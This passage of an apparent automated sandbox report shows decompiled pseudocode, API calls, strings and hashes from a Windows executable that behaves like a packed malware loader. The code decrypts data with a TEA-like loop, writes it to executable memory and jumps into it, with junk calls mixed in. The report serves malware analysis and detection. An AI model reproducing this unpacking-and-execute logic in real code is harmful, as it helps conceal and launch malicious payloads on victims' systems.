						CreateIoCompletionPort(_t73,  &_v3280, _t73, _t73);
						GetFileAttributesW(L"vofazegekasu");
						GetDefaultCommConfigW(_t73, _t73, _t73);
					}
					_v3312 =  &(_v3312[0]);
				} while (_v3312 < 0x40c893);
				E0040169C();
				do {
					if(_t73 == 0xc06) {
						E0040176F(_t75);
					}
					_t73 =  &(_t73[0]);
				} while (_t73 < 0x246b35);
				_t37 =  *0x43e4b8;
				 *0x43e9c0 = _t37;
				_t38 =  *_t37();
				 *[fs:0x0] = _v32;
				return _t38;
			}

0x004017b8
0x004017b8
0x004017bb
0x004017c4
0x004017c6
0x004017cb
0x004017cc
0x004017d3
0x004017da
0x004017db
0x004017dd
0x004017ed
0x004017f8
0x00401800
0x00401810
0x00401822
0x0040182d
0x00401836
0x00401842
0x0040184e
0x00401854
0x0040185a
0x00401860
0x00401869
0x00401871
0x00401875
0x0040187a
0x00401880
0x00401887
0x0040188c
0x00401893
0x00401898
0x004018a8
0x004018ad
0x004018b3
0x004018b9
0x004018bb
0x004018bd
0x004018c0
0x004018c5
0x004018c7
0x004018c9
0x004018cb
0x004018ce
0x004018d3
0x004018d5
0x004018e3
0x004018e3
0x004018e8
0x004018ea
0x004018ee
0x004018fa
0x00000000
0x00000000
0x004018fc
0x00401903
0x00000000
0x00000000
0x00000000
0x00401903
0x00401905
0x00401917
0x0040191d
0x00401923
0x00401928
0x0040192d
0x00401938
0x0040193a
0x00401945
0x00401947
0x00401959
0x00401963
0x0040196e
0x0040196e
0x00401970
0x00401971
0x00401947
0x00401979
0x0040197d
0x00401982
0x0040198b
0x00401996
0x004019a2
0x004019aa
0x004019b2
0x004019b3
0x004019b4
0x004019b6
0x004019be
0x004019c9
0x004019d2
0x004019d2
0x004019d8
0x004019dc
0x004019e6
0x004019eb
0x004019f1
0x004019f3
0x004019f3
0x004019f8
0x004019f9
0x00401a01
0x00401a06
0x00401a0b
0x00401a16
0x00401a21

APIs

SetComputerNameW.KERNEL32(Zeyu tuvu vegud rayuz), ref: 004017F8
EnumSystemLocalesW.KERNEL32(00000000,00000000), ref: 00401800
GetConsoleAliasesA.KERNEL32(?,00000000,00000000), ref: 00401810
FindResourceExA.KERNEL32(00000000,fofako,cimojudozuwelam,00000000), ref: 00401822
GetVersionExA.KERNEL32(?), ref: 0040182D
VirtualQuery.KERNEL32(00000000,00000000,00000000), ref: 00401836
CreateThread.KERNEL32 ref: 00401842
SetComputerNameExW.KERNEL32(00000000,Puvehocusegaw nomexu dawovegubiteyeg lifezeri baju), ref: 0040184E
_printf.LIBCMT ref: 0040185A
_malloc.LIBCMT ref: 00401887

Part of subcall function 004026A4: __FF_MSGBANNER.LIBCMT ref: 004026C7
Part of subcall function 004026A4: __NMSG_WRITE.LIBCMT ref: 004026CE
Part of subcall function 004026A4: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00409F64,00000001,00000001,00000001,?,00404137,00000018,004179E8,0000000C,004041C8), ref: 0040271B

_calloc.LIBCMT ref: 00401898

Part of subcall function 00402615: __calloc_impl.LIBCMT ref: 0040262A

__wfopen_s.LIBCMT ref: 004018A8
_fseek.LIBCMT ref: 004018B3
GetConsoleAliasA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004018EE
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0040190B
LocalAlloc.KERNELBASE(00000000), ref: 0040191D
GetConsoleTitleA.KERNEL32(?,00000000), ref: 0040196E
GetConsoleTitleA.KERNEL32(?,00000000), ref: 00401996
GetAtomNameA.KERNEL32(00000000,?,00000000), ref: 004019A2
CreateIoCompletionPort.KERNEL32(00000000,?,00000000,00000000), ref: 004019BE
GetFileAttributesW.KERNEL32(vofazegekasu), ref: 004019C9
GetDefaultCommConfigW.KERNEL32 ref: 004019D2

Strings

Puvehocusegaw nomexu dawovegubiteyeg lifezeri baju, xrefs: 00401848
fofako, xrefs: 0040181C
5k$, xrefs: 004019F9
Zeyu tuvu vegud rayuz, xrefs: 004017F3
kernel32.dll, xrefs: 004017E8, 00401859, 0040190A
vofazegekasu, xrefs: 004019C4
runexobozez, xrefs: 00401854
cimojudozuwelam, xrefs: 00401817
0.txt, xrefs: 004018A2

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: Console$Name$ComputerCreateTitle$AliasAliasesAllocAllocateAtomAttributesCommCompletionConfigDefaultEnumFileFindHandleHeapLocalLocalesModulePortQueryResourceSystemThreadVersionVirtual__calloc_impl__wfopen_s_calloc_fseek_malloc_printf
String ID: 0.txt$5k$$Puvehocusegaw nomexu dawovegubiteyeg lifezeri baju$Zeyu tuvu vegud rayuz$cimojudozuwelam$fofako$kernel32.dll$runexobozez$vofazegekasu
API String ID: 695303298-2252213788
Opcode ID: c738d76eb2eabd63fd2a7813aea959d462891a05a73896bad3a7380df5b5b476
Instruction ID: ef7bb2d2a9191680f778f43620e6747ffd2a0918054d7691f75c54db4e0cf394
Opcode Fuzzy Hash: c738d76eb2eabd63fd2a7813aea959d462891a05a73896bad3a7380df5b5b476
Instruction Fuzzy Hash: F65171F1904340AFD310AFA6DCC9E9A7BECEB48715F10993EF546A21E1D6389940CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00401A22, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E00401A22(void* __ebx, void* __edx, void* __edi, void* __fp0) {
				void* _t22;
				void* _t25;
				void* _t34;

				_t34 = __fp0;
				_t23 = __edi;
				_t22 = __edx;
				_t19 = __ebx;
				E00412EA4(E00412FA8, _t25);
				if( *0x43e9cc == 0xc) {
					__imp__OpenJobObjectA(0, 0, "futefohalumiluyowemaboxogarirewemixehufiwiji");
					SetLocaleInfoA(0, 0, 0);
					E00401AB8(_t25 - 0x28, "vemetahupofutadiki");
					_push(0);
					 *((intOrPtr*)(_t25 - 4)) = 0;
					E00402F8E(__ebx, _t22, __edi, 0, 0);
					_push(0);
					E00402CB4(__ebx, _t22, __edi, 0, 0);
					_push(0);
					_push(0);
					_push(0);
					E00402E41(__ebx, _t22, __edi, 0, 0);
					_push(0);
					E004028A6(_t19, _t22, _t23, 0, 0);
					_push(0);
					E00402784();
					E0040276E(0);
					E00402D22(_t22, _t23, 0, 0);
				}
				 *0x43e9cc =  *0x421364;
				 *0x43e9cc =  *0x43e9cc + 0xb2d3b; // executed
				E004017B8(_t22, _t34); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t25 - 0xc));
				return 0;
			}

0x00401a22
0x00401a22
0x00401a22
0x00401a22
0x00401a27
0x00401a36
0x00401a41
0x00401a4a
0x00401a58
0x00401a5d
0x00401a5e
0x00401a61
0x00401a66
0x00401a67
0x00401a6c
0x00401a6d
0x00401a6e
0x00401a6f
0x00401a74
0x00401a75
0x00401a7a
0x00401a7b
0x00401a81
0x00401a89
0x00401a89
0x00401a93
0x00401a9d
0x00401aa3
0x00401aad
0x00401ab5

APIs

__EH_prolog.LIBCMT ref: 00401A27
OpenJobObjectA.KERNEL32 ref: 00401A41
SetLocaleInfoA.KERNEL32(00000000,00000000,00000000), ref: 00401A4A
_ftell.LIBCMT ref: 00401A67
_fseek.LIBCMT ref: 00401A6F
_printf.LIBCMT ref: 00401A75

Part of subcall function 0040276E: __wcstoi64.LIBCMT ref: 0040277A

Part of subcall function 00402D22: __getptd.LIBCMT ref: 00402D2E
Part of subcall function 00402D22: _abort.LIBCMT ref: 00402D50

Strings

futefohalumiluyowemaboxogarirewemixehufiwiji, xrefs: 00401A38
vemetahupofutadiki, xrefs: 00401A50

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: H_prologInfoLocaleObjectOpen__getptd__wcstoi64_abort_fseek_ftell_printf
String ID: futefohalumiluyowemaboxogarirewemixehufiwiji$vemetahupofutadiki
API String ID: 1946867905-2195284033
Opcode ID: 5c521a7311e6366333e2c94a4ddb456c15ac9cfa5e891c3ddeff10bf5810a98a
Instruction ID: aa6538d2d2341d96d918eb486451ca5d664f0b877d31c994581c6e38c3c15a71
Opcode Fuzzy Hash: 5c521a7311e6366333e2c94a4ddb456c15ac9cfa5e891c3ddeff10bf5810a98a
Instruction Fuzzy Hash: 12014471903524A7C725FB678E49ECF3D68AF16758B00413AF815721D1DBBC0601CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 00407B23, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00407B23(intOrPtr _a4) {
				struct HINSTANCE__* _t6;
				_Unknown_base(*)()* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				void* _t12;

				if(TlsGetValue( *0x419718) == 0) {
					L4:
					_t15 = L"KERNEL32.DLL";
					_t6 = GetModuleHandleW(L"KERNEL32.DLL");
					if(_t6 != 0) {
						L6:
						_t7 = GetProcAddress(_t6, "EncodePointer");
						L7:
						if(_t7 != 0) {
							_t9 =  *_t7(_a4); // executed
							_a4 = _t9;
						}
						L9:
						return _a4;
					}
					_t6 = E00404EBC(_t15);
					if(_t6 == 0) {
						goto L9;
					}
					goto L6;
				}
				_t10 =  *0x419714; // 0x1
				if(_t10 == 0xffffffff) {
					goto L4;
				}
				_push(_t10);
				_t12 =  *(TlsGetValue( *0x419718))();
				if(_t12 == 0) {
					goto L4;
				}
				_t7 =  *(_t12 + 0x1f8);
				goto L7;
			}

0x00407b39
0x00407b5c
0x00407b5c
0x00407b62
0x00407b6a
0x00407b77
0x00407b7d
0x00407b83
0x00407b85
0x00407b8a
0x00407b8c
0x00407b8c
0x00407b8f
0x00407b94
0x00407b94
0x00407b6d
0x00407b75
0x00000000
0x00000000
0x00000000
0x00407b75
0x00407b3b
0x00407b43
0x00000000
0x00000000
0x00407b45
0x00407b4e
0x00407b52
0x00000000
0x00000000
0x00407b54
0x00000000

APIs

TlsGetValue.KERNEL32(00000000,?,00407B9C,00000000,0040A3EE,0043AFF8,00000000,00000314,?,00405363,0043AFF8,Microsoft Visual C++ Runtime Library,00012010), ref: 00407B35
TlsGetValue.KERNEL32(00000001,?,00407B9C,00000000,0040A3EE,0043AFF8,00000000,00000314,?,00405363,0043AFF8,Microsoft Visual C++ Runtime Library,00012010), ref: 00407B4C
GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,00407B9C,00000000,0040A3EE,0043AFF8,00000000,00000314,?,00405363,0043AFF8,Microsoft Visual C++ Runtime Library,00012010), ref: 00407B62
__crt_waiting_on_module_handle.LIBCMT ref: 00407B6D
GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00407B7D
RtlEncodePointer.NTDLL(00000000,?,00407B9C,00000000,0040A3EE,0043AFF8,00000000,00000314,?,00405363,0043AFF8,Microsoft Visual C++ Runtime Library,00012010), ref: 00407B8A

Strings

EncodePointer, xrefs: 00407B77
KERNEL32.DLL, xrefs: 00407B5C, 00407B61, 00407B6C

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: Value$AddressEncodeHandleModulePointerProc__crt_waiting_on_module_handle
String ID: EncodePointer$KERNEL32.DLL
API String ID: 2228147409-3682587211
Opcode ID: 16d954ba6919d6e0aab0a14370627cc256620ac5a7dddbb358e2ae3475973534
Instruction ID: dcdddd62902a12002d150c8445dd889aba8dc101a9c092279b4081150dcff3fb
Opcode Fuzzy Hash: 16d954ba6919d6e0aab0a14370627cc256620ac5a7dddbb358e2ae3475973534
Instruction Fuzzy Hash: AEF01230A04116ABCB105F25DC44AEB3EA99F007A57148132E818E72E0DB39FD4186AE

Uniqueness

Uniqueness Score: -1.00%

Function 00404E8C, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404E8C(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x43afbc = _t6;
				if(_t6 != 0) {
					 *0x440f18 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x00404ea1
0x00404ea7
0x00404eae
0x00404eb5
0x00404ebb
0x00404eb1
0x00404eb1
0x00404eb1

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00404EA1

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 931c884b396af99eb6ef5479dca272768e4777881ced56018a80d49602cf60de
Instruction ID: 5b7bf311468ce1f76b8c79019f22ff6172eb9820904ab6ee816eef7f323f19ad
Opcode Fuzzy Hash: 931c884b396af99eb6ef5479dca272768e4777881ced56018a80d49602cf60de
Instruction Fuzzy Hash: D2D05E769943099ADB109F75AC087637BEC9788796F108476BE0CC6290E6B4CA918A88

Uniqueness

Uniqueness Score: -1.00%

Function 0040179D, Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040179D() {
				void* _t1;

				_t1 = VirtualAlloc(0,  *0x43e9cc, 0x1000, 0x40); // executed
				 *0x43e4b8 = _t1;
				return _t1;
			}

0x004017ac
0x004017b2
0x004017b7

APIs

VirtualAlloc.KERNELBASE(00000000,00001000,00000040,0040192D), ref: 004017AC

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6092d493204947198a778244dc2373e5ea616c051c123bf452cb3841f394fbf2
Instruction ID: e8a5db9fd744dcaeadee24df9c790032e694b6965102006d0be2be693f146a3e
Opcode Fuzzy Hash: 6092d493204947198a778244dc2373e5ea616c051c123bf452cb3841f394fbf2
Instruction Fuzzy Hash: 43B092F0686201AAE7911F52AC06B803EA0A70CB43F105020F345691E8C6B810449B1C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040383B, Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040383B(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x419680; // 0xb8eba00d
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x43b558 = _t6;
				 *0x43b554 = _t22;
				 *0x43b550 = _t25;
				 *0x43b54c = _t21;
				 *0x43b548 = _t27;
				 *0x43b544 = _t26;
				 *0x43b570 = ss;
				 *0x43b564 = cs;
				 *0x43b540 = ds;
				 *0x43b53c = es;
				 *0x43b538 = fs;
				 *0x43b534 = gs;
				asm("pushfd");
				_pop( *0x43b568);
				 *0x43b55c =  *_t31;
				 *0x43b560 = _v0;
				 *0x43b56c =  &_a4;
				 *0x43b4a8 = 0x10001;
				_t11 =  *0x43b560; // 0x0
				 *0x43b45c = _t11;
				 *0x43b450 = 0xc0000409;
				 *0x43b454 = 1;
				_t12 =  *0x419680; // 0xb8eba00d
				_v812 = _t12;
				_t13 =  *0x419684; // 0x47145ff2
				_v808 = _t13;
				 *0x43b4a0 = IsDebuggerPresent();
				_push(1);
				E00409EDC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x41447c);
				if( *0x43b4a0 == 0) {
					_push(1);
					E00409EDC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0040383b
0x0040383b
0x0040383b
0x0040383b
0x0040383b
0x0040383b
0x0040383b
0x00403841
0x00403843
0x00403843
0x00409c77
0x00409c7c
0x00409c82
0x00409c88
0x00409c8e
0x00409c94
0x00409c9a
0x00409ca1
0x00409ca8
0x00409caf
0x00409cb6
0x00409cbd
0x00409cc4
0x00409cc5
0x00409cce
0x00409cd6
0x00409cde
0x00409ce9
0x00409cf3
0x00409cf8
0x00409cfd
0x00409d07
0x00409d11
0x00409d16
0x00409d1c
0x00409d21
0x00409d2d
0x00409d32
0x00409d34
0x00409d3c
0x00409d47
0x00409d54
0x00409d56
0x00409d58
0x00409d5d
0x00409d71

APIs

IsDebuggerPresent.KERNEL32 ref: 00409D27
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00409D3C
UnhandledExceptionFilter.KERNEL32(0041447C), ref: 00409D47
GetCurrentProcess.KERNEL32(C0000409), ref: 00409D63
TerminateProcess.KERNEL32(00000000), ref: 00409D6A

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 95b53f73b66759fe28ee7f308b583ad91223ae3f6e4073976ab40fe8473f52f5
Instruction ID: d3ef1a83452b64148f0cac1be445e2035ead6e4c4650e129f5b538dd508ed966
Opcode Fuzzy Hash: 95b53f73b66759fe28ee7f308b583ad91223ae3f6e4073976ab40fe8473f52f5
Instruction Fuzzy Hash: 7E21BE75801308AFDB00DF29F8847843BE4FB5831AB50A03AE60996371E7745985CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00408848, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408848() {

				SetUnhandledExceptionFilter(E00408806);
				return 0;
			}

0x0040884d
0x00408855

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00008806), ref: 0040884D

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 3c3d8102e4c6d0416ba8b382d20b6b7ffe680a63592c4c696caf3675593dec86
Instruction ID: be0820b7984d20990d13a60361a7acd4060f09957eae44c8a91a079c8c0dff8d
Opcode Fuzzy Hash: 3c3d8102e4c6d0416ba8b382d20b6b7ffe680a63592c4c696caf3675593dec86
Instruction Fuzzy Hash: B59002A12512006AC6406B706D095453DD05A5C62379184756049E4098EE6442549929

Uniqueness

Uniqueness Score: -1.00%

Function 0040106C, Relevance: 33.5, APIs: 8, Strings: 11, Instructions: 259
sleepthreadtimeCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E0040106C(unsigned int* _a4) {
				unsigned int _v12;
				signed int _v16;
				char _v20;
				short _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				intOrPtr _v352;
				intOrPtr _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				intOrPtr _v368;
				intOrPtr _v372;
				intOrPtr _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				intOrPtr _v408;
				intOrPtr _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				intOrPtr _v428;
				intOrPtr _v432;
				intOrPtr _v436;
				intOrPtr _v440;
				intOrPtr _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				intOrPtr _v456;
				intOrPtr _v460;
				intOrPtr _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				intOrPtr _v476;
				intOrPtr _v480;
				intOrPtr _v484;
				signed int _v488;
				char _v492;
				signed int _v496;
				intOrPtr _v500;
				intOrPtr _v504;
				intOrPtr _v508;
				intOrPtr _v512;
				long _v516;
				long _v520;
				void* _v534;
				struct _SYSTEMTIME _v536;
				struct _INPUT_RECORD _v556;
				char _v1584;
				intOrPtr* _t166;
				intOrPtr _t168;
				intOrPtr _t169;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t174;
				int _t180;
				signed int _t184;
				unsigned int* _t189;
				void* _t200;
				signed int _t204;
				signed int _t215;
				signed int _t216;

				_t166 = _a4;
				_v12 =  *_t166;
				_v488 =  *((intOrPtr*)(_t166 + 4));
				if( *0x43e9cc == 0xee) {
					Sleep(0);
					CreateThread(0, 0, 0, 0, 0, 0);
					GetStringTypeW(0, 0, 0, 0);
				}
				_t168 =  *0x41a528; // 0x27c147dc
				_v504 = _t168;
				_t169 =  *0x41a52c; // 0xa39ca22b
				_v500 = _t169;
				_v20 = 0;
				E00401065( &_v20);
				_t200 = _v20 + 0x21d;
				if( *0x43e9cc == 0xc8) {
					GetStringTypeW(0, L"Wasavanayof dab jep", 0,  &_v24);
				}
				_t172 =  *0x41a530; // 0x2d199ca7
				_v512 = _t172;
				_t173 =  *0x41a534; // 0x97746045
				_v508 = _t173;
				_v492 = 0x20;
				do {
					_v24 = 2;
					_v24 = _v24 + 3;
					_t215 = _v12 << 4;
					if( *0x43e9cc == 0xc) {
						ReadConsoleInputW(0,  &_v556, 0,  &_v516);
					}
					_t174 =  *0x43e9cc;
					_t216 = _t215 + _v512;
					if(_t174 == 0xfa9) {
						 *0x43e9c8 = 0xedeb2e40;
					}
					if(_t174 == 0x3eb) {
						 *0x43bd94 = 0;
					}
					_v16 = _v12 >> 5;
					_t180 = _v16 + _v508 ^ _t216 ^ _t200 + _v12;
					 *0x43e9c4 = 0x9150ce2e;
					_v16 = _t180;
					if( *0x43e9cc == 0x27) {
						InterlockedDecrement( &_v520);
						RaiseException(0, 0, 0, 0);
						_t180 = _v16;
					}
					_v488 = _v488 - _t180;
					if( *0x43e9cc == 0xc) {
						_v536 = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosw");
						_t180 = GetTimeFormatA(0, 0,  &_v536, "Lefejobixad nezanelo zex vohopenap buxagukabu",  &_v1584, 0);
					}
					_t204 = _v488;
					_t184 = (_t204 >> 5) + _v500;
					_v16 = _t184;
					_v496 = (_t204 << 0x00000004) + _v504 ^ _t204 + _t200 ^ _t184;
					 *0x43bd90 = 0;
					_v12 = _v12 - _v496;
					_v308 = 0x58bfb700;
					_v372 = 0xb7b3100;
					_v52 = 0x22f7a0fa;
					_v128 = 0x5f8d6f12;
					_v204 = 0x3da0bd0c;
					_v192 = 0x1087ed95;
					_v392 = 0x5c8ac66f;
					_v404 = 0x2d497a6a;
					_v196 = 0xb363ce9;
					_v364 = 0x72923bd1;
					_v248 = 0x6b593f5;
					_v460 = 0x17dbad6b;
					_v356 = 0x5244f954;
					_v124 = 0x50dac3ea;
					_v328 = 0x487bde5c;
					_v44 = 0xa733708;
					_v396 = 0x3b2217e1;
					_v276 = 0x3ad48611;
					_v80 = 0x45e56c5f;
